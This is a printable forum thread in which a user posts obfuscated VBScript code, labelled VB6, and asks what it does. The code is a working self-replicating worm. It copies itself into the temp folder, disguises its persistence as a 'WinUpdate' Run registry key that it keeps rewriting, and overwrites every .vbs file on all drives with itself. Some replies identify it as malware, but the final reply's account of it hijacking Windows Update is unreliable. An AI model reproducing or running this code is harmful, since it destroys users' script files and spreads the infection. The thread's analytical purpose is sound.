Sinisterly
VB6 What's this code do? - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Visual Basic & .NET Framework (https://sinister.li/Forum-Visual-Basic-NET-Framework)
+--- Thread: VB6 What's this code do? (/Thread-VB6-What-s-this-code-do)



VB6 What's this code do? - loading... - 06-09-2015

Normally I can understand visual basic but WTF is this shit? Confused

Code:
Set K1IPCRVC = createobject("scripting.filesystemobject") L2ROP693 = K1IPCRVC.getspecialfolder(2) T225DMBE = L2ROP693 & "\winsyst.vbs" Set A36IV8KC = createobject("wscript.shell") A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %" K1IPCRVC.copyfile wscript.scriptfullname, T225DMBE Set Q8056VMR= K1IPCRVC.opentextfile(wscript.scriptfullname) QSPKI028 = Q8056VMR.readall Q8056VMR.close Do if not(K1IPCRVC.fileexists(wscript.scriptfullname)) then set GV3B1H65= K1IPCRVC.createtextfile(wscript.scriptfullname) GV3B1H65.write QSPKI028 GV3B1H65.close end if V8TS7H61 = A36IV8KC.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate") If V8TS7H61 <> "wscript.exe " & T225DMBE & " %" then A36IV8KC.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & T225DMBE & " %" end if V8TS7H61= "" loop Function DIRK5BAD() On Error Resume Next Set L57M21VG = K1IPCRVC.Drives For Each HB2EDRE4 In L57M21VG H8IG8I50 = HB2EDRE4 & " \ " Call TCS3731M(H8IG8I50) Next End Function Function TCS3731M(FI532788) JDBN17FV = FI532788 Set K0C7B470 = K1IPCRVC.GetFolder(JDBN17FV) Set G60G535V = K0C7B470.Files For Each V3H3U8EK In G60G535V If K1IPCRVC.GetExtensionName(V3H3U8EK.path) = "vbs" K1IPCRVC.CopyFile wscript.scriptfullname,V3H3U8EK.path,true End if Next Set E2R9O566 = K0C7B470.Subfolders For Each SD9KTT6R In E2R9O566 Call (SD9KTT6R.path) Next End function



RE: VB6 What's this code do? - roger_smith - 06-09-2015

Where did the code come from? It certainly appears to be making windows registry modifications for winupdate. I imagine you know that already though. I'm not really a programmer so I can't give you the gritty details.


RE: VB6 What's this code do? - Ultimatum - 06-09-2015

It's definitely not legitimate Windows Update. It's putting something into the Startup key.

It's probably some crappy VB6 startup function malware (also taking into consideration the randomised variable names).


RE: VB6 What's this code do? - hacking18 - 06-15-2015

It's a dangerous function:
It writes to startup and manipulates the windows update service so attackers can send you their own malicious updates and block the ones from microsoft, luckely this function doesnt work anymore it was patched in a security update on windows xp